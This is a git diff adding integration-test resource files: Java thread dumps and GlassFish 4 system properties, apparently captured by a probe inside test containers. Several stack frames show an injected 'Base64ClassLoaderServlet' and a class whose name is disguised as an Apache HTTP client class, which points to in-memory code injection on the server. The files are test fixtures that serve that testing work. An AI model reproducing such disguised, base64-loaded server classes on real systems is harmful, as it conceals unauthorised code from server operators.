java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:918) + at java.lang.Thread.run(Thread.java:662) + +"deployment-jar-scanner" #42 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1adaf109 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:156) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1987) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:399) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:957) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:917) + at java.lang.Thread.run(Thread.java:662) + +"Thread-6" #18 [TIMED_WAITING] on java.util.concurrent.atomic.AtomicInteger@3a8393ef + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at com.sun.grizzly.Controller.waitUntilSelectorHandlersStop(Controller.java:1119) + at com.sun.grizzly.Controller.start(Controller.java:869) + at com.sun.grizzly.http.SelectorThread.startListener(SelectorThread.java:1306) + at com.sun.grizzly.http.SelectorThread.run(SelectorThread.java:1144) + at com.sun.grizzly.http.SelectorThread.startEndpoint(SelectorThread.java:1233) + at com.sun.enterprise.v3.services.impl.GrizzlyListener.startEndpoint(GrizzlyListener.java:142) + at com.sun.enterprise.v3.services.impl.GrizzlyProxy$2.run(GrizzlyProxy.java:342) + +"RMI TCP Accept-8686" #61 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.net.PlainSocketImpl.socketAccept(Native Method) + at java.net.PlainSocketImpl.accept(PlainSocketImpl.java:408) + at java.net.ServerSocket.implAccept(ServerSocket.java:462) + at java.net.ServerSocket.accept(ServerSocket.java:430) + at sun.rmi.transport.tcp.TCPTransport$AcceptLoop.executeAcceptLoop(TCPTransport.java:369) + at sun.rmi.transport.tcp.TCPTransport$AcceptLoop.run(TCPTransport.java:341) + at java.lang.Thread.run(Thread.java:662) + +"deployment-jar-scanner" #41 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1adaf109 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:156) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1987) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:399) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:957) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:917) + at java.lang.Thread.run(Thread.java:662) + +"RMI TCP Connection(1)-192.168.215.4" #65 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.util.HashMap.get(HashMap.java:298) + at java.util.Collections$UnmodifiableMap.get(Collections.java:1280) + at org.apache.felix.framework.resolver.ResolverImpl.getPackageSourcesInternal(ResolverImpl.java:1396) + at org.apache.felix.framework.resolver.ResolverImpl.getPackageSources(ResolverImpl.java:1356) + at org.apache.felix.framework.resolver.ResolverImpl.mergeUses(ResolverImpl.java:849) + at org.apache.felix.framework.resolver.ResolverImpl.mergeUses(ResolverImpl.java:899) + at org.apache.felix.framework.resolver.ResolverImpl.mergeUses(ResolverImpl.java:899) + at org.apache.felix.framework.resolver.ResolverImpl.mergeUses(ResolverImpl.java:899) + at org.apache.felix.framework.resolver.ResolverImpl.mergeUses(ResolverImpl.java:899) + at org.apache.felix.framework.resolver.ResolverImpl.mergeUses(ResolverImpl.java:893) + at org.apache.felix.framework.resolver.ResolverImpl.mergeUses(ResolverImpl.java:893) + at org.apache.felix.framework.resolver.ResolverImpl.calculatePackageSpaces(ResolverImpl.java:659) + at org.apache.felix.framework.resolver.ResolverImpl.resolve(ResolverImpl.java:330) + at org.apache.felix.framework.StatefulResolver.resolve(StatefulResolver.java:259) + at org.apache.felix.framework.BundleWiringImpl.searchDynamicImports(BundleWiringImpl.java:1539) + at org.apache.felix.framework.BundleWiringImpl.findClassOrResourceByDelegation(BundleWiringImpl.java:1439) + at org.apache.felix.framework.BundleWiringImpl.access$400(BundleWiringImpl.java:72) + at org.apache.felix.framework.BundleWiringImpl$BundleClassLoader.loadClass(BundleWiringImpl.java:1843) + at java.lang.ClassLoader.loadClass(ClassLoader.java:247) + at org.apache.felix.framework.Felix.loadBundleClass(Felix.java:1723) + at org.apache.felix.framework.BundleImpl.loadClass(BundleImpl.java:926) + at org.jvnet.hk2.osgiadapter.OSGiModuleImpl$4$1.run(OSGiModuleImpl.java:413) + at java.security.AccessController.doPrivileged(Native Method) + at org.jvnet.hk2.osgiadapter.OSGiModuleImpl$4.loadClass(OSGiModuleImpl.java:409) + at java.lang.ClassLoader.loadClass(ClassLoader.java:247) + at com.sun.enterprise.v3.server.APIClassLoaderServiceImpl$APIClassLoader.loadClass(APIClassLoaderServiceImpl.java:198) + at java.lang.ClassLoader.loadClass(ClassLoader.java:295) + at java.lang.ClassLoader.loadClass(ClassLoader.java:247) + at java.lang.Class.forName0(Native Method) + at java.lang.Class.forName(Class.java:249) + at sun.rmi.server.LoaderHandler.loadClass(LoaderHandler.java:357) + at sun.rmi.server.LoaderHandler.loadClass(LoaderHandler.java:163) + at java.rmi.server.RMIClassLoader$2.loadClass(RMIClassLoader.java:620) + at java.rmi.server.RMIClassLoader.loadClass(RMIClassLoader.java:247) + at sun.rmi.server.MarshalInputStream.resolveClass(MarshalInputStream.java:201) + at java.io.ObjectInputStream.readNonProxyDesc(ObjectInputStream.java:1589) + at java.io.ObjectInputStream.readClassDesc(ObjectInputStream.java:1494) + at java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:1748) + at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1327) + at java.io.ObjectInputStream.readObject(ObjectInputStream.java:349) + at sun.rmi.registry.RegistryImpl_Skel.dispatch(Unknown Source) + at sun.rmi.server.UnicastServerRef.oldDispatch(UnicastServerRef.java:390) + at sun.rmi.server.UnicastServerRef.dispatch(UnicastServerRef.java:248) + at sun.rmi.transport.Transport$1.run(Transport.java:159) + at java.security.AccessController.doPrivileged(Native Method) + at sun.rmi.transport.Transport.serviceCall(Transport.java:155) + at sun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:535) + at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:790) + at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(TCPTransport.java:649) + at java.util.concurrent.ThreadPoolExecutor$Worker.runTask(ThreadPoolExecutor.java:895) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:918) + at java.lang.Thread.run(Thread.java:662) + +"Grizzly-kernel-thread(1)" #21 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:210) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:65) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:69) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:80) + at com.sun.grizzly.TCPSelectorHandler.select(TCPSelectorHandler.java:513) + at com.sun.grizzly.SelectorHandlerRunner.doSelect(SelectorHandlerRunner.java:190) + at com.sun.grizzly.SelectorHandlerRunner.run(SelectorHandlerRunner.java:132) + at java.util.concurrent.ThreadPoolExecutor$Worker.runTask(ThreadPoolExecutor.java:895) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:918) + at java.lang.Thread.run(Thread.java:662) + +"pool-2-thread-1" #34 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@8a353ed + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:196) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:424) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:323) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:874) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:955) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:917) + at java.lang.Thread.run(Thread.java:662) + +"Grizzly-kernel-thread(1)" #22 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:210) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:65) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:69) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:80) + at com.sun.grizzly.TCPSelectorHandler.select(TCPSelectorHandler.java:513) + at com.sun.grizzly.SelectorHandlerRunner.doSelect(SelectorHandlerRunner.java:190) + at com.sun.grizzly.SelectorHandlerRunner.run(SelectorHandlerRunner.java:132) + at java.util.concurrent.ThreadPoolExecutor$Worker.runTask(ThreadPoolExecutor.java:895) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:918) + at java.lang.Thread.run(Thread.java:662) + +"Reference Handler" #2 daemon [WAITING] on java.lang.ref.Reference$Lock@5b7f1907 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:485) + at java.lang.ref.Reference$ReferenceHandler.run(Reference.java:116) + +"pool-1-thread-1" #13 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@cfc9fac + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:196) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2025) + at java.util.concurrent.DelayQueue.take(DelayQueue.java:164) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:609) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:602) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:957) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:917) + at java.lang.Thread.run(Thread.java:662) + +"pool-4-thread-1" #36 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@8a353ed + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:196) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:424) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:323) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:874) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:955) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:917) + at java.lang.Thread.run(Thread.java:662) + +"Thread-4" #16 [TIMED_WAITING] on java.util.concurrent.atomic.AtomicInteger@14654dec + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at com.sun.grizzly.Controller.waitUntilSelectorHandlersStop(Controller.java:1119) + at com.sun.grizzly.Controller.start(Controller.java:869) + at com.sun.grizzly.http.SelectorThread.startListener(SelectorThread.java:1306) + at com.sun.grizzly.http.SelectorThread.run(SelectorThread.java:1144) + at com.sun.grizzly.http.SelectorThread.startEndpoint(SelectorThread.java:1233) + at com.sun.enterprise.v3.services.impl.GrizzlyListener.startEndpoint(GrizzlyListener.java:142) + at com.sun.enterprise.v3.services.impl.GrizzlyProxy$2.run(GrizzlyProxy.java:342) + +"http-thread-pool-8080(4)" #53 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.lang.Thread.dumpThreads(Native Method) + at java.lang.Thread.getAllStackTraces(Thread.java:1530) + at org.apache.http.client.NWzag.ErrorHandler.toString(BasicInfoPrinter.java:26) + at java.lang.String.valueOf(String.java:2826) + at org.apache.catalina.connector.CoyoteWriter.print(CoyoteWriter.java:331) + at Base64ClassLoaderServlet.service(Base64ClassLoaderServlet.java:26) + at org.apache.catalina.core.StandardWrapper.service(StandardWrapper.java:1550) + at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:343) + at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:217) + at EmptyFilter.doFilter(EmptyFilter.java:21) + at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:256) + at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:217) + at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:279) + at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:175) + at org.apache.catalina.core.StandardPipeline.doInvoke(StandardPipeline.java:655) + at org.apache.catalina.core.StandardPipeline.invoke(StandardPipeline.java:595) + at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:161) + at org.apache.catalina.connector.CoyoteAdapter.doService(CoyoteAdapter.java:331) + at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:231) + at com.sun.enterprise.v3.services.impl.ContainerMapper$AdapterCallable.call(ContainerMapper.java:317) + at com.sun.enterprise.v3.services.impl.ContainerMapper.service(ContainerMapper.java:195) + at com.sun.grizzly.http.ProcessorTask.invokeAdapter(ProcessorTask.java:860) + at com.sun.grizzly.http.ProcessorTask.doProcess(ProcessorTask.java:757) + at com.sun.grizzly.http.ProcessorTask.process(ProcessorTask.java:1056) + at com.sun.grizzly.http.DefaultProtocolFilter.execute(DefaultProtocolFilter.java:229) + at com.sun.grizzly.DefaultProtocolChain.executeProtocolFilter(DefaultProtocolChain.java:137) + at com.sun.grizzly.DefaultProtocolChain.execute(DefaultProtocolChain.java:104) + at com.sun.grizzly.DefaultProtocolChain.execute(DefaultProtocolChain.java:90) + at com.sun.grizzly.http.HttpProtocolChain.execute(HttpProtocolChain.java:79) + at com.sun.grizzly.ProtocolChainContextTask.doCall(ProtocolChainContextTask.java:54) + at com.sun.grizzly.SelectionKeyContextTask.call(SelectionKeyContextTask.java:59) + at com.sun.grizzly.ContextTask.run(ContextTask.java:71) + at com.sun.grizzly.util.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:532) + at com.sun.grizzly.util.AbstractThreadPool$Worker.run(AbstractThreadPool.java:513) + at java.lang.Thread.run(Thread.java:662) + +"Finalizer" #3 daemon [WAITING] on java.lang.ref.ReferenceQueue$Lock@6b2f0342 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:118) + at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:134) + at java.lang.ref.Finalizer$FinalizerThread.run(Finalizer.java:171) + +"ContainerBackgroundProcessor[StandardEngine[glassfish-web].StandardHost[server].StandardContext[]]" #43 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.lang.Thread.sleep(Native Method) + at org.apache.catalina.core.ContainerBase$ContainerBackgroundProcessor.run(ContainerBase.java:1771) + at java.lang.Thread.run(Thread.java:662) + +"fileinstall-/usr/local/glassfish3/glassfish/domains/domain1/autodeploy/bundles/" #64 daemon [TIMED_WAITING] on org.apache.felix.fileinstall.internal.DirectoryWatcher@15a1ad24 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at org.apache.felix.fileinstall.internal.DirectoryWatcher.run(DirectoryWatcher.java:268) + +"AutoDeployer" #55 daemon [TIMED_WAITING] on java.util.TaskQueue@4966e555 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at java.util.TimerThread.mainLoop(Timer.java:509) + at java.util.TimerThread.run(Timer.java:462) + +"Grizzly-kernel-thread(1)" #32 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:210) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:65) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:69) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:80) + at com.sun.grizzly.TCPSelectorHandler.select(TCPSelectorHandler.java:513) + at com.sun.grizzly.SelectorHandlerRunner.doSelect(SelectorHandlerRunner.java:190) + at com.sun.grizzly.SelectorHandlerRunner.run(SelectorHandlerRunner.java:132) + at java.util.concurrent.ThreadPoolExecutor$Worker.runTask(ThreadPoolExecutor.java:895) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:918) + at java.lang.Thread.run(Thread.java:662) + +"DynamicReloader" #50 daemon [TIMED_WAITING] on java.util.TaskQueue@25a5519 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at java.util.TimerThread.mainLoop(Timer.java:509) + at java.util.TimerThread.run(Timer.java:462) + +"ContainerBackgroundProcessor[StandardEngine[glassfish-web].StandardHost[server].StandardContext[/app]]" #45 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.lang.Thread.sleep(Native Method) + at org.apache.catalina.core.ContainerBase$ContainerBackgroundProcessor.run(ContainerBase.java:1771) + at java.lang.Thread.run(Thread.java:662) + +"deployment-jar-scanner" #39 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1adaf109 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:156) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1987) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:399) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:957) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:917) + at java.lang.Thread.run(Thread.java:662) + +"PingService" #56 daemon [TIMED_WAITING] on java.util.TaskQueue@7888dd83 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at java.util.TimerThread.mainLoop(Timer.java:509) + at java.util.TimerThread.run(Timer.java:462) + +"RMI Reaper" #62 [WAITING] on java.lang.ref.ReferenceQueue$Lock@61870147 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:118) + at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:134) + at sun.rmi.transport.ObjectTable$Reaper.run(ObjectTable.java:333) + at java.lang.Thread.run(Thread.java:662) + +"Thread-36" #57 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.net.SocketInputStream.socketRead0(Native Method) + at java.net.SocketInputStream.read(SocketInputStream.java:129) + at java.io.BufferedInputStream.fill(BufferedInputStream.java:218) + at java.io.BufferedInputStream.read(BufferedInputStream.java:237) + at java.io.DataInputStream.readByte(DataInputStream.java:248) + at sun.rmi.transport.StreamRemoteCall.executeCall(StreamRemoteCall.java:195) + at sun.rmi.server.UnicastRef.invoke(UnicastRef.java:359) + at sun.rmi.registry.RegistryImpl_Stub.rebind(Unknown Source) + at com.sun.jndi.rmi.registry.RegistryContext.rebind(RegistryContext.java:140) + at com.sun.jndi.toolkit.url.GenericURLContext.rebind(GenericURLContext.java:231) + at javax.naming.InitialContext.rebind(InitialContext.java:408) + at javax.naming.InitialContext.rebind(InitialContext.java:408) + at javax.management.remote.rmi.RMIConnectorServer.bind(RMIConnectorServer.java:623) + at javax.management.remote.rmi.RMIConnectorServer.start(RMIConnectorServer.java:412) + at org.glassfish.admin.mbeanserver.RMIConnectorStarter.start(RMIConnectorStarter.java:301) + at org.glassfish.admin.mbeanserver.JMXStartupService$JMXConnectorsStarterThread.startConnector(JMXStartupService.java:287) + at org.glassfish.admin.mbeanserver.JMXStartupService$JMXConnectorsStarterThread.run(JMXStartupService.java:328) + +"ContainerBackgroundProcessor[StandardEngine[glassfish-web]]" #44 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.lang.Thread.sleep(Native Method) + at org.apache.catalina.core.ContainerBase$ContainerBackgroundProcessor.run(ContainerBase.java:1771) + at java.lang.Thread.run(Thread.java:662) + + +=========================================== + +StackClassNames: +Base64ClassLoaderServlet +EmptyFilter +maskedclasses.LinkedTransferQueue +org.apache.catalina.connector.CoyoteAdapter +org.apache.catalina.connector.CoyoteWriter +org.apache.catalina.core.ApplicationFilterChain +org.apache.catalina.core.ContainerBase$ContainerBackgroundProcessor +org.apache.catalina.core.StandardContextValve +org.apache.catalina.core.StandardHostValve +org.apache.catalina.core.StandardPipeline +org.apache.catalina.core.StandardWrapper +org.apache.catalina.core.StandardWrapperValve +org.apache.felix.cm.impl.UpdateThread +org.apache.felix.eventadmin.impl.Activator +org.apache.felix.eventadmin.impl.Configuration +org.apache.felix.fileinstall.internal.DirectoryWatcher +org.apache.felix.framework.BundleContextImpl +org.apache.felix.framework.BundleImpl +org.apache.felix.framework.BundleWiringImpl +org.apache.felix.framework.BundleWiringImpl$BundleClassLoader +org.apache.felix.framework.Felix +org.apache.felix.framework.FrameworkStartLevelImpl +org.apache.felix.framework.StatefulResolver +org.apache.felix.framework.resolver.ResolverImpl +org.apache.felix.framework.util.EventDispatcher +org.apache.felix.framework.util.EventDispatcher$1 +org.apache.felix.framework.util.SecureAction +org.apache.http.client.NWzag.ErrorHandler +org.glassfish.admin.mbeanserver.JMXStartupService$JMXConnectorsStarterThread +org.glassfish.admin.mbeanserver.RMIConnectorStarter +org.jvnet.hk2.osgiadapter.OSGiModuleImpl$4 +org.jvnet.hk2.osgiadapter.OSGiModuleImpl$4$1 diff --git a/integration-test/src/test/resources/infos/GlassFish4ContainerTestBasicInfo.txt b/integration-test/src/test/resources/infos/GlassFish4ContainerTestBasicInfo.txt new file mode 100644 index 00000000..fa5c6fe9 --- /dev/null +++ b/integration-test/src/test/resources/infos/GlassFish4ContainerTestBasicInfo.txt @@ -0,0 +1,1069 @@ +# Generated At 2025-08-10 14:56:38 +SystemProps: +com.sun.aas.imqBin: /usr/local/glassfish4/mq/bin +java.vendor: Oracle Corporation +sun.java.launcher: SUN_STANDARD +catalina.base: /usr/local/glassfish4/glassfish/domains/domain1 +sun.management.compiler: HotSpot 64-Bit Tiered Compilers +com.sun.enterprise.jaccprovider.property.repository: /usr/local/glassfish4/glassfish/domains/domain1/generated/policy +catalina.useNaming: false +os.name: Linux +java.util.logging.config.file: /usr/local/glassfish4/glassfish/domains/domain1/config/logging.properties +sun.boot.class.path: /usr/local/glassfish4/glassfish/modules/endorsed/javax.annotation-api.jar:/usr/java/jdk-8/jre/lib/resources.jar:/usr/java/jdk-8/jre/lib/rt.jar:/usr/java/jdk-8/jre/lib/sunrsasign.jar:/usr/java/jdk-8/jre/lib/jsse.jar:/usr/java/jdk-8/jre/lib/jce.jar:/usr/java/jdk-8/jre/lib/charsets.jar:/usr/java/jdk-8/jre/lib/jfr.jar:/usr/java/jdk-8/jre/classes +javax.security.jacc.PolicyConfigurationFactory.provider: com.sun.enterprise.security.provider.PolicyConfigurationFactoryImpl +AS_DEF_NODES_PATH: ../nodes +felix.fileinstall.poll: 5000 +java.vm.specification.vendor: Oracle Corporation +osgi.shell.telnet.maxconn: 1 +java.runtime.version: 1.8.0_271-b09 +javax.net.ssl.keyStore: /usr/local/glassfish4/glassfish/domains/domain1/config/keystore.jks +user.name: root +osgi.shell.telnet.ip: 127.0.0.1 +com.sun.enterprise.config.config_environment_factory_class: com.sun.enterprise.config.serverbeans.AppserverConfigEnvironmentFactory +felix.fileinstall.log.level: 2 +com.sun.aas.agentRoot: /usr/local/glassfish4/glassfish/nodes +user.language: en +sun.boot.library.path: /usr/java/jdk-8/jre/lib/aarch64 +com.sun.aas.javaRoot: /usr/java/jdk-8/jre +AS_IMQ_LIB: ../../mq/lib +java.version: 1.8.0_271 +com.sun.aas.instanceRootURI: file:/usr/local/glassfish4/glassfish/domains/domain1/ +user.timezone: UTC +sun.arch.data.model: 64 +javax.rmi.CORBA.UtilClass: com.sun.corba.ee.impl.javax.rmi.CORBA.Util +java.endorsed.dirs: /usr/local/glassfish4/glassfish/modules/endorsed:/usr/local/glassfish4/glassfish/lib/endorsed +java.rmi.server.randomIDs: true +com.sun.aas.installRoot: /usr/local/glassfish4/glassfish +sun.cpu.isalist: +sun.jnu.encoding: UTF-8 +file.encoding.pkg: sun.io +file.separator: / +java.specification.name: Java Platform API Specification +com.sun.enterprise.J2EEServerId: 100 +java.class.version: 52.0 +user.country: US +java.home: /usr/java/jdk-8/jre +felix.fileinstall.dir: /usr/local/glassfish4/glassfish/modules/autostart/ +java.vm.info: mixed mode +os.version: 6.14.10-orbstack-00291-g1b252bd3edea +com.sun.aas.productRoot: /usr/local/glassfish4 +sun.font.fontmanager: sun.awt.X11FontManager +org.omg.CORBA.ORBSingletonClass: com.sun.corba.ee.impl.orb.ORBSingleton +com.sun.aas.installRootURI: file:/usr/local/glassfish4/glassfish/ +path.separator: : +java.vm.version: 25.271-b09 +AS_CONFIG: /usr/local/glassfish4/glassfish/config/../config +jdbc.drivers: org.apache.derby.jdbc.ClientDriver +AS_IMQ_BIN: ../../mq/bin +java.awt.printerjob: sun.print.PSPrinterJob +java.security.policy: /usr/local/glassfish4/glassfish/domains/domain1/config/server.policy +sun.io.unicode.encoding: UnicodeLittle +com.sun.aas.hostName: cdb19790d957 +awt.toolkit: sun.awt.X11.XToolkit +AS_INSTALL: /usr/local/glassfish4/glassfish/config/.. +felix.fileinstall.disableConfigSave: false +user.home: /root +com.sun.aas.instanceName: server +com.sun.aas.derbyRoot: /usr/local/glassfish4/javadb +com.sun.aas.configRoot: /usr/local/glassfish4/glassfish/config +java.specification.vendor: Oracle Corporation +AS_DERBY_INSTALL: /usr/local/glassfish4/glassfish/config/../../javadb +java.library.path: /usr/local/glassfish4/glassfish/lib:/usr/java/packages/lib/aarch64:/lib:/usr/lib +java.vendor.url: http://java.oracle.com/ +javax.rmi.CORBA.StubClass: com.sun.corba.ee.impl.javax.rmi.CORBA.StubDelegateImpl +java.vm.vendor: Oracle Corporation +jdk.corba.allowOutputStreamSubclass: true +java.runtime.name: Java(TM) SE Runtime Environment +sun.java.command: com.sun.enterprise.glassfish.bootstrap.ASMain -upgrade false -domaindir /usr/local/glassfish4/glassfish/domains/domain1 -read-stdin true -asadmin-args --host,,,localhost,,,--port,,,4848,,,--secure=false,,,--terse=false,,,--echo=false,,,--interactive=false,,,start-domain,,,--verbose=true,,,--watchdog=false,,,--debug=false,,,--domaindir,,,/usr/local/glassfish4/glassfish/domains,,,domain1 -domainname domain1 -instancename server -type DAS -verbose true -asadmin-classpath /usr/local/glassfish4/glassfish/lib/client/appserver-cli.jar -debug false -asadmin-classname com.sun.enterprise.admin.cli.AdminMain +java.class.path: /usr/local/glassfish4/glassfish/modules/glassfish.jar:/usr/local/glassfish4/glassfish/lib/monitor/flashlight-agent.jar +GlassFish_Platform: Felix +java.vm.specification.name: Java Virtual Machine Specification +catalina.home: /usr/local/glassfish4/glassfish/domains/domain1 +javax.rmi.CORBA.PortableRemoteObjectClass: com.sun.corba.ee.impl.javax.rmi.PortableRemoteObject +java.vm.specification.version: 1.8 +sun.cpu.endian: little +sun.os.patch.level: unknown +java.awt.headless: true +gosh.args: --nointeractive +java.io.tmpdir: /tmp +com.sun.aas.imqLib: /usr/local/glassfish4/mq/lib +AS_DEF_DOMAINS_PATH: /usr/local/glassfish4/glassfish/config/../domains +java.vendor.url.bug: http://bugreport.sun.com/bugreport/ +com.sun.aas.domainsRoot: /usr/local/glassfish4/glassfish/domains +os.arch: aarch64 +java.awt.graphicsenv: sun.awt.X11GraphicsEnvironment +java.ext.dirs: /usr/java/jdk-8/jre/lib/ext:/usr/java/jdk-8/jre/jre/lib/ext:/usr/local/glassfish4/glassfish/domains/domain1/lib/ext +felix.fileinstall.bundles.startTransient: true +user.dir: /usr/local/glassfish4/glassfish/domains/domain1/config +com.sun.aas.instanceRoot: /usr/local/glassfish4/glassfish/domains/domain1 +line.separator: + +java.vm.name: Java HotSpot(TM) 64-Bit Server VM +glassfish.version: GlassFish Server Open Source Edition 4.1.2 (build 1) +java.security.auth.login.config: /usr/local/glassfish4/glassfish/domains/domain1/config/login.conf +com.ctc.wstx.returnNullForDefaultNamespace: true +javax.management.builder.initial: com.sun.enterprise.v3.admin.AppServerMBeanServerBuilder +org.omg.CORBA.ORBClass: com.sun.corba.ee.impl.orb.ORBImpl +file.encoding: UTF-8 +com.sun.enterprise.security.httpsOutboundKeyAlias: s1as +javax.xml.accessExternalSchema: all +ANTLR_USE_DIRECT_CLASS_LOADING: true +org.glassfish.additionalOSGiBundlesToStart: org.apache.felix.shell,org.apache.felix.gogo.runtime,org.apache.felix.gogo.shell,org.apache.felix.gogo.command,org.apache.felix.shell.remote,org.apache.felix.fileinstall +felix.fileinstall.bundles.new.start: true +java.specification.version: 1.8 +javax.net.ssl.trustStore: /usr/local/glassfish4/glassfish/domains/domain1/config/cacerts.jks +osgi.shell.telnet.port: 6666 + +=========================================== + 